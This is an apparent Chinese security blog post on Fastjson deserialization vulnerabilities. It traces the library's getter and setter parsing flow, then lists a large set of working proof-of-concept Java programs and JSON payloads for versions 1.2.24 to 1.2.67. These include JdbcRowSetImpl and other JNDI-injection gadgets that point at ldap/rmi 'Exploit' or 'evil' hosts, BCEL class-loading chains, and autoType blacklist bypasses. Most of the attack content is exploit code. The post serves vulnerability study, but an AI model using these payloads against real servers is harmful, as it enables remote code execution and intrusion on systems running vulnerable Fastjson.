当前位置:   article > 正文

FastJson反序列化_fastjson配置全局的反序列化

fastjson配置全局的反序列化
  1. {"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
  2. {"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

 环境:

  1. //添加依赖
  2. <dependency>
  3. <groupId>com.alibaba</groupId>
  4. <artifactId>fastjson</artifactId>
  5. <version>1.2.24</version>
  6. </dependency>

 介绍:

Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。

demo:

  1. package FastJson;
  2. public class Person {
  3. private String name;
  4. private int age;
  5. public Person(String name, int age){this.name = name;this.age = age;}
  6. public Person(){System.out.println("constructor");}
  7. public String getName() {System.out.println("getName");return this.name;}
  8. public void setName(String name) {System.out.println("setName");this.name = name;}
  9. public int getAge() {System.out.println("getAge");return this.age;}
  10. public void setAge(int age) { System.out.println("setAge");this.age = age;}
  11. }
  1. package FastJson;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.JSONObject;
  4. public class test {
  5. public static void main(String[] args) throws Exception{
  6. //第一种
  7. String s = "{\"param1\":\"aaa\",\"param2\":\"bbb\"}";
  8. JSONObject jsonObject = JSON.parseObject(s);
  9. System.out.println(jsonObject.getString("param1"));
  10. //第二种
  11. //String s = "{\"age\":18,\"name\":\"abc\"}";
  12. //Person person = JSON.parseObject(s,Person.class);
  13. //第三种
  14. // String s = "{\"@type\":\"FastJson.Person\",\"age\":18,\"name\":\"abc\"}";
  15. // JSONObject person = JSON.parseObject(s);
  16. }
  17. }

可以看到在主函数中一共有FastJson的三种用法,也相对应有三种结果。

  1. 第一种:
  2. aaa
  3. 第二种:
  4. constructor
  5. setAge
  6. setName
  7. 第三种:
  8. constructor
  9. setAge
  10. setName
  11. getAge
  12. getName

可以看到FastJson在转换为对象的时候是通过getter和setter方法来实现赋值的。

其中第一种和第二种方式都没有操作空间,因为转换成的对象的类型都被确定了,不受我们客户端控制,而第三种就大有作为,是通过我们客户端传入的字符串来指定实例化对象的类型。

流程分析:

调用了parse方法,方法处理后返回的就是一个对象了,最后转换成了JSONObject类型的对象,这个类型就是一个map。进parse方法看看。

DefaultJSONParser就是对传入的字符串进行解析

在下面的parse方法中也是解析字符串,第一个字符是{,因此当作json对象解析,调用JSONObject。

这个函数中前面处理key,后面处理value,在处理key时会判断@符,有@就意味着要执行java的反序列化,类进行了loadClass加载。

这里第一步就是获取了javabean的反序列化器,然后用反序列化器进行反序列化操作。在创建类的反序列化器的时候,需要把类里面的东西进行了解,这里就通过build函数,我们再来看一下build函数。

主要就是三部分,这里我折叠了,第一for循环获得所有setter方法,第二for循环获得所有public属性 ,第三个for循环获得所有getter方法。主要通过方法名长度,方法返回值来判断getter和setter,其中getter方法有要求,返回值必须是下面之一,且没有对应的setter方法。后续就会调用这些getter和setter。

然后后面部分就会调用setter方法来讲传入的字符串中的值赋值给实例化的对象,哪些满足条件的getter方法也会调用。中间流程复杂就不讲了,直接跳到后面调用getter方法的地方。

实际上就是在toJSON的时候调用的,因为在构建对象的时候当然要通过setter方法来赋值,现在又要将对象转换成JSON,当然要用getter方法来获取对象属性的值。

然后调用getObjectWriter,与前面的desearialize相对应的,会获取所有getter方法(即使不满足前面说的返回值要是四种类型之一)。

在getFieldValuesMap中调用getter方法获取值,跟进去看看。

一路跟进最后是在get中调用了getter方法 ,这里的调用是会调用所有的getter方法的,包括哪些满足条件的getter方法就会调用两次。

链子大全:

fastjson<=1.2.24

JdbcRowSetImpl链:

条件:
  1. RMI利用的JDK版本≤ JDK 6u132、7u122、8u113
  2. LADP利用JDK版本≤ 6u211 、7u201、8u191
  3. 出网
分析:

这个链子很简单,只有两步。

connect方法中是标准的jndi注入,只要控制能控制this.getDataSourceName()的值,且这个connect方法在某个setter或者满足条件的getter中被调用即可。

datasource可以通过set方法kongzhi

connect方法可以通过set方法触发(get方法的返回值不是那几种)。

因此链子就通了。

poc:
  1. package FastJson;
  2. import com.alibaba.fastjson.JSON;
  3. public class FastJsonjdbcrowsetimpl {
  4. public static void main(String[] args) {
  5. String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/CNlBHEim\",\"AutoCommit\":\"false\"}";
  6. JSON.parseObject(s);
  7. }
  8. }

用yakit打开一个LDAP的恶意服务器(双字节字符要关掉不然执行不了),然后执行poc即可。

BasicDataSource链 

条件:

引入tomcat依赖

  1. <dependency>
  2. <groupId>org.apache.tomcat</groupId>
  3. <artifactId>tomcat-dbcp</artifactId>
  4. <version>8.0.36</version>
  5. </dependency>
分析:

这个poc核心是classloader的动态类加载,在com.sun.org.apache.bcel.internal.util包下的classloader类中会判断字节流是不是以BCEL开头,是的话就会实例化这个类。

有一点需要注意在createclass中调用各类decode,所以我们传入的需要进行encode。

在BasicDataSource.createConnectionFactory()中调用了forname方法,这个方法底层就是调用classloader,然后我们向上找getter和setter方法来调用他。

BasicDataSource.createDataSource调用了createConnectionFactory()

 BasicDataSource.getConnection()调用了createDataSource(),到这一步逻辑闭环了。

 现在还需要我们能控制forname的两个参数

现在我们只需要能够控制forname方法的两个参数即可。

可以看到都能够控制。

poc:
  1. package FastJson;
  2. import java.io.*;
  3. import com.alibaba.fastjson.JSON;
  4. import com.sun.org.apache.bcel.internal.classfile.Utility;
  5. import com.sun.org.apache.bcel.internal.util.ClassLoader;
  6. import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
  7. public class FastJsonBcel {
  8. public static void main(String[] args) throws Exception {
  9. ClassLoader classLoader = new ClassLoader();
  10. byte[] bytes = convert("E:\\java_security\\badfile\\hack.class");
  11. String code = Utility.encode(bytes,true);
  12. // classLoader.loadClass("$$BCEL$$"+code).newInstance();
  13. // BasicDataSource basicDataSource = new BasicDataSource();
  14. // basicDataSource.setDriverClassLoader(classLoader);
  15. // basicDataSource.setDriverClassName("$$BCEL$$"+code);
  16. // basicDataSource.getConnection();
  17. String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"DriverClassName\":\"$$BCEL$$"+ code +"\",\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
  18. // parseObject是先parse后toJSON,这样我们才能调用get方法:getConnection()
  19. JSON.parseObject(s);
  20. }
  21. private static byte[] convert(String s) throws Exception {
  22. File file = new File(s);
  23. if (!file.exists()) {
  24. throw new FileNotFoundException("文件未找到:" + s);
  25. }
  26. try (InputStream inputStream = new FileInputStream(file)) {
  27. ByteArrayOutputStream byteOutput = new ByteArrayOutputStream();
  28. byte[] buffer = new byte[4096];
  29. int bytesRead;
  30. while ((bytesRead = inputStream.read(buffer)) != -1) {
  31. byteOutput.write(buffer, 0, bytesRead);
  32. }
  33. return byteOutput.toByteArray();
  34. }
  35. }
  36. }

fastjson>=1.2.24

绕过autoTypeSupport

条件:
  1. fastjson1.2.25-1.2.32版本:需要未开启AutoTypeSupport。
  2. fastjson1.2.33-1.2.47版本:
分析:

在fastjson=>1.2.25之后默认autoTypeSupport属性为false

并且多了一个checkautotype的函数,可以看到返回值是一个class,fastjson后续的版本也都是围绕这个函数来进行过滤和加载类的。使用原来的jdbc链会报错,我们来调试一下报错的过程。

 、

跟进去看看 ,这里的autoTypeSupport和expectClass默认都是null、

这里尝试从缓存中读取类(如果之前加载过这个类,就会存到缓存,后续用到的时候就会从缓存中找) ,然后直接返回,注意这里就不会经过后续的黑名单检测。

 

这个mapping属性就是缓存,存放了类名和类的类型的对应,图片只截取部分。可以看到这个操作是在静态代码块中,也就是默认执行的。这里我们要加载的类是jdbcRowSetImpl,缓存中找不到,也就返回null。

然后再autoTypeSupport为false的时候,就会进行黑白名单的检测。

然后就是在这里被检测出来从而报错。

使用黑名单外的类来rce基本不可能,我们就得想办法不经过黑名单。前面提到缓存中如果有相应的类就会直接返回,不会经过黑名单,所以我们就考虑如何往mapping中放入我们的恶意类。

可以看到在classloader中能调用put,再找loadclass再哪里调用,最后找到

这里需要class等于Class类型。

看这个类其实是一个反序列化器,后面会被放到deserializers的缓存中,以后反序列化什么类就会找到相应的反序列化器。

 

但是有个条件,要实例化成的Class类的键值必须等于val。

然后会将val键对应的值存入objVal和strVal,也就是我们的恶意类的类名

 然后loadClass传入strVal

最后放进我们的缓存。

payload:
JdbcRowSetImpl链:

还是用yakit起一个本地Ldap服务

  1. package FastJson;
  2. import com.alibaba.fastjson.JSON;
  3. public class fastjsonAutotype {
  4. public static void main(String[] args){
  5. //第一步:反序列化一个Class类,值为恶意类
  6. //用之前payload从缓存中继续加载
  7. String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:6666/CNlBHEim\",\"AutoCommit\":\"false\"}}";
  8. JSON.parseObject(s);
  9. }
  10. }

  1. String ParsePayload2 = "{" +
  2. "{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"}:\"aaa\"," +
  3. "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}:\"bbb\"," +
  4. "{" +
  5. "\"@type\":\"com.alibaba.fastjson.JSONObject\"," +
  6. "\"xxx\":{"+
  7. "\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"," +
  8. "\"driverClassLoader\":{" +
  9. "\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"" +
  10. "}," +
  11. "\"driverClassName\":\"$$BCEL$$...\"" +
  12. "}" +
  13. "}:\"aaa\""+
  14. "}";
BasicDataSource链  

条件:

  1. 此利用连版本要求比较麻烦
  2. 1.2.25~1.2.32之间用不了BasicDataSource链
  3. 1.2.37以上不行
  1. package FastJson;
  2. import com.alibaba.fastjson.JSON;
  3. import com.sun.org.apache.bcel.internal.classfile.Utility;
  4. import com.sun.org.apache.bcel.internal.util.ClassLoader;
  5. import java.io.*;
  6. public class fastjsonAutotype {
  7. public static void main(String[] args) throws Exception{
  8. //第一步:反序列化一个Class类,值为恶意类
  9. //用之前payload从缓存中继续加载
  10. //链1
  11. // String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:6666/CNlBHEim\",\"AutoCommit\":\"false\"}}";
  12. //链2
  13. ClassLoader classLoader = new ClassLoader();
  14. byte[] bytes = convert("E:\\java_security\\badfile\\hack.class");
  15. String code = Utility.encode(bytes,true);
  16. String s = "{" +
  17. "{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"}:\"aaa\"," +
  18. "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}:\"bbb\"," +
  19. "{" +
  20. "\"@type\":\"com.alibaba.fastjson.JSONObject\"," +
  21. "\"xxx\":{"+
  22. "\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"," +
  23. "\"driverClassLoader\":{" +
  24. "\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"" +
  25. "}," +
  26. "\"driverClassName\":\"$$BCEL$$"+code+"\"" +
  27. "}" +
  28. "}:\"aaa\""+
  29. "}";
  30. System.out.println(s);
  31. JSON.parseObject(s);
  32. }
  33. private static byte[] convert(String s) throws Exception {
  34. File file = new File(s);
  35. if (!file.exists()) {
  36. throw new FileNotFoundException("文件未找到:" + s);
  37. }
  38. try (InputStream inputStream = new FileInputStream(file)) {
  39. ByteArrayOutputStream byteOutput = new ByteArrayOutputStream();
  40. byte[] buffer = new byte[4096];
  41. int bytesRead;
  42. while ((bytesRead = inputStream.read(buffer)) != -1) {
  43. byteOutput.write(buffer, 0, bytesRead);
  44. }
  45. return byteOutput.toByteArray();
  46. }
  47. }
  48. }
BasicDataSource链2:

条件:

与上面的链1适用版本不同,1.2.33~1.2.47

  1. String s = "{" +
  2. "{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"}:\"aaa\"," +
  3. "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}:\"bbb\"," +
  4. "{" +
  5. "\"@type\":\"com.alibaba.fastjson.JSONObject\"," +
  6. "\"xxx\":{"+
  7. "\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"," +
  8. "\"driverClassLoader\":{" +
  9. "\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"" +
  10. "}," +
  11. "\"driverClassName\":\"$$BCEL$$" + code + "\"" +
  12. "}" +
  13. "}:{\"aaa\":\"bbb\"}"+
  14. "}";

前面部分都是autoTypeSupport为false的情况,如果开发者设置为true,那又有很多绕过,这里就不一一分析了,已经有师傅写的很全面了,这里直接放链接。

fastjson反序列化_学习 | AsaL1n's blog

FastJSON(全系漏洞分析-截至20230325) - FreeBuf网络安全行业门户

autoType=true

fastjson 1.2.25-1.2.41
分析:
  1. if (className.startsWith("L") && className.endsWith(";")) {
  2. String newClassName = className.substring(1, className.length() - 1);
  3. return loadClass(newClassName, classLoader);
  4. }

如果类名以L开头,;结尾,则会直接loadclass而不经过黑名单。

poc:
  1. package FastJson;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.parser.ParserConfig;
  4. public class Lfastjson {
  5. public static void main(String[] args) {
  6. String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:8085/yIbdwOih\", \"autoCommit\":true}";
  7. ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
  8. JSON.parse(PoC);
  9. }
  10. }
fastjson 1.2.42
分析:

1.2.42版本将黑名单变成hashcode, 不过已经被碰撞出来了大部分https://github.com/LeadroyaL/fastjson-blacklist

1679726128_641e96300c7b0db978425.png!small?1679726128338

而在checkAutoType中

1679726133_641e96359c9034d153940.png!small?1679726133947

会对L开头;结尾的className先进行去除,然后在使用TypeUtils.loadClass(typeName, this.defaultClassLoader)加载类

这里双写L和;即可绕过

poc:
  1. package FastJson;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.parser.ParserConfig;
  4. public class Lfastjson {
  5. public static void main(String[] args) {
  6. String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"ldap://127.0.0.1:8085/yIbdwOih\", \"autoCommit\":true}";
  7. ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
  8. JSON.parse(PoC);
  9. }
  10. }
Fastjson 1.2.25-1.2.43
分析:

同样在checkAutoType中,判断前两个字符不能为L,否则抛异常,可以使用[绕过

poc:
  1. package FastJson;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.parser.ParserConfig;
  4. public class Lfastjson {
  5. public static void main(String[] args) {
  6. String PoC ="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://127.0.0.1:8085/yIbdwOih\",\"autoCommit\":true" ;
  7. ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
  8. JSON.parse(PoC);
  9. }
  10. }
Fastjson 1.2.25-1.2.45
分析:

在1.2.44中修改[符号产生的绕过

不过依然可以使用黑名单不存在的类进行绕过,不过需要存在mybatis3.x.x系列<3.5.0

  1. <dependency>
  2. <groupId>org.mybatis</groupId>
  3. <artifactId>mybatis</artifactId>
  4. <version>3.5.11</version>
  5. </dependency>

 

poc:
  1. package FastJson;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.parser.ParserConfig;
  4. public class Lfastjson {
  5. public static void main(String[] args) {
  6. String PoC ="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://127.0.0.1:8085/yIbdwOih\"}}";
  7. ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
  8. JSON.parse(PoC);
  9. }
  10. }
fastjson1.2.47-66

在这个版本里面修复了json内置绕过,里面能够利用的漏洞主要还是一些组件漏洞。

org.apache.shiro-core-1.5.1
分析:

存在可控的lookup参数点

  1. public T getInstance() {
  2. try {
  3. if(requiredType != null) {
  4. return requiredType.cast(this.lookup(resourceName, requiredType));
  5. } else {
  6. return (T) this.lookup(resourceName);
  7. }
poc:
  1. package org.example.fastjson.other;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.parser.ParserConfig;
  4. public class AutoCloseable {
  5. public static void main(String[] args){
  6. String poc = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://127.0.0.1:7777/evil\"}";
  7. ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
  8. System.out.println(JSON.parseObject(poc));
  9. }
  10. }
br.com.anteros.dbcp.AnterosDBCPConfig
分析:
  1. private Object getObjectOrPerformJndiLookup(Object object)
  2. {
  3. if (object instanceof String) {
  4. try {
  5. InitialContext initCtx = new InitialContext();
  6. return initCtx.lookup((String) object);
  7. }
  8. catch (NamingException e) {
  9. throw new IllegalArgumentException(e);
  10. }
  11. }
  12. return object;

 传递的参数是metricRegistry进入到lookup中,参数可以控制

poc:
  1. package org.example.fastjson.other;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.parser.ParserConfig;
  4. public class metricRegistry {
  5. public static void main(String[] args) {
  6. String poc ="{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://127.0.0.1:8080/evil\"}";
  7. ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
  8. JSON.parseObject(poc);
  9. }
  10. }
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup
分析:

jndiNames可控导致注入

poc:
  1. package org.example.fastjson.other;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.parser.ParserConfig;
  4. public class metricRegistry {
  5. public static void main(String[] args) {
  6. String poc ="{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\",\"jndiNames\":\"ldap://127.0.0.1:8080/evil\"}";
  7. ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
  8. JSON.parseObject(poc);
  9. }
  10. }
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig
分析:
  1. public void setProperties(Properties props) throws SQLException, TransactionException {
  2. String utxName = null;
  3. try {
  4. utxName = (String) props.get("UserTransaction");
  5. InitialContext initCtx = new InitialContext();
  6. userTransaction = (UserTransaction) initCtx.lookup(utxName);
  7. } catch (NamingException e) {
  8. throw new SqlMapException("Error initializing JtaTransactionConfig while looking up UserTransaction (" + utxName + "). Cause: " + e);
  9. }
  10. }

参数可以控制 

poc:
 
  1. package org.example.fastjson.other;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.parser.ParserConfig;
  4. public class metricRegistry {
  5. public static void main(String[] args) {
  6. String poc =" {\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://127.0.0.1:8080/evil/\"}}";
  7. ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
  8. JSON.parseObject(poc);
  9. }
  10. }
Fastjson =1.2.50
  1. {
  2. "@type":"java.lang.AutoCloseable",
  3. "@type":"oracle.jdbc.rowset.OracleJDBCRowSet",
  4. "dataSourceName":"ldap://localhost:1389/test",
  5. "command":"a"
  6. }
Fastjson1.2.50-1.2.59

需要开启AutoType

  1. {"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
  2. {"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
Fastjson1.2.50-1.2.60

无需开启autotype

  1. {"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}
  2. {"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}
Fastjson1.2.50-1.2.61

开启autotype

  1. {"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}
  2. {"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}
 
Fastjson <=1.2.62

利用条件:

  • 需要开启AutoType
  • 目标服务端需要存在xbean-reflect包

利用载荷:

  1. {"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}
  2. {"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"}, "namespace":""}
Fastjson <=1.2.67

利用条件:

  • 开启AutoType

  • JNDI注入利用所受的JDK版本限制

  • org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖

  • org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖

  1. {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}
  2. {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}

 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/一键难忘520/article/detail/923036
推荐阅读
相关标签
  

闽ICP备14008679号